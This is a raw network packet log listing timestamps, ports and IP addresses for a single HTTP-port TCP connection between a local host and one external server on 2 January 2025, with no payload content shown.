Jan 2, 2025 20:34:51.948729992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948748112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948755980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948767900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.948769093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948776007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.948780060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948807001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.948831081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.948946953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948956966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948972940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948987961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948987961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.948998928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949014902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.949014902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949026108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949035883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949042082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.949047089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949054956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949064970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949068069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.949076891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949086905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949091911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.949098110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949107885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949112892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.949120045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.949136972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.949161053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.959368944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.959382057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.959393024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.959404945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.959415913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.959418058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.959425926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.959436893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.959445953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.959494114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.962265968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.962282896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.962295055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.962305069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.962316036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.962316990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.962327003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.962338924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.962342978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.962347984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.962373018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.962390900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.964589119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.964602947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.964620113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.964631081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.964647055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.964658976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.964677095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.964678049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.964689016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.964699030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.964708090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.964728117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.967406988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.967418909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.967428923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.967438936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.967449903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.967462063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.967463017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.967475891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.967482090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.967485905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.967519999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.972317934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972363949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.972373962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972383976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972400904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972404003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.972414017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972419977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.972429991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972436905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.972443104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972451925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972453117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.972464085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972474098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.972475052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972507954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.972604990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972616911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972634077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972645044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972647905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.972656012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972666025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.972671032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.972691059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.974447966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.974458933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.974468946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.974482059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.974493027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.974493980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.974524975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.974546909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.974556923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.974567890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.974587917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.974605083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.975486040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.975552082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.975553036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.975563049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.975579977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.975581884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.975591898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.975596905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.975603104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.975614071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.975614071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.975631952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.975661039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.975661039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.975693941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.042963028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043010950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043030024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043045044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043060064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043071032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043073893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043081999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043092966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043102980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043113947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043113947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043121099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043129921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043145895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043159008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043159962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043169022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043179035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043180943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043190002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043199062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043200970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043211937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043221951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043227911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043227911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043231964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043237925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043246984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043255091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043271065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043287992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043287992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043308973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043323994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043327093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043339014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043345928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043349028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043359995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043370008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043371916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043378115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043382883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043397903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043407917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043417931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043423891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043427944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043438911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043446064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043453932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043463945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043464899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043476105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043477058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043487072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043498039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043509960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043514013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043524027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043535948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043536901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043548107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043556929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043557882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043569088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043579102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043582916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043589115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043602943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043612957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.043620110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.043649912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.046061993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.046077013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.046092033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.046108961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.046112061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.046120882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.046130896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.046140909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.046152115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.046156883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.046179056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.046196938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.049097061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.049113035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.049124956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.049134970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.049141884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.049145937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.049156904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.049168110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.049169064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.049180984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.049221992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.049237013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.051395893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.051429987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.051440001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.051450968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.051461935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.051493883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.051632881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.051644087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.051655054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.051665068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.051681042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.051700115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.054106951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.054127932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.054138899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.054148912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.054160118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.054169893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.054182053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.054191113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.054193020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.054256916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.059286118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059309959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059351921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059362888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059380054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059389114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.059391022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059401989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059412956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059423923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059434891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059446096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.059451103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059461117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059472084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059483051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.059483051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.059503078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.059520960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.061276913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.061292887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.061305046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.061316013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.061326981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.061328888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.061336994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.061347961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.061358929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.061363935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.061382055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.061399937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.062362909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.062376022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.062387943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.062416077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.062447071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.062458038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.062474966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.062485933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.062495947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.062505960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.062509060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.062539101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131640911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131674051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131685972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131702900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131705046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131715059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131726980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131737947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131737947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131748915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131753922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131758928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131768942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131776094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131786108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131799936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131808996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131820917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131827116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131838083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131849051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131850004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131863117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131863117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131872892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131885052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131897926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131926060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131943941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131954908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131966114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131975889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131987095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.131989002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.131998062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132011890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132024050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132055044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132066965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132076979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132088900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132113934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132138014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.132162094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.132174969 CET	80	49730	47.254.187.72	192.168.2.4
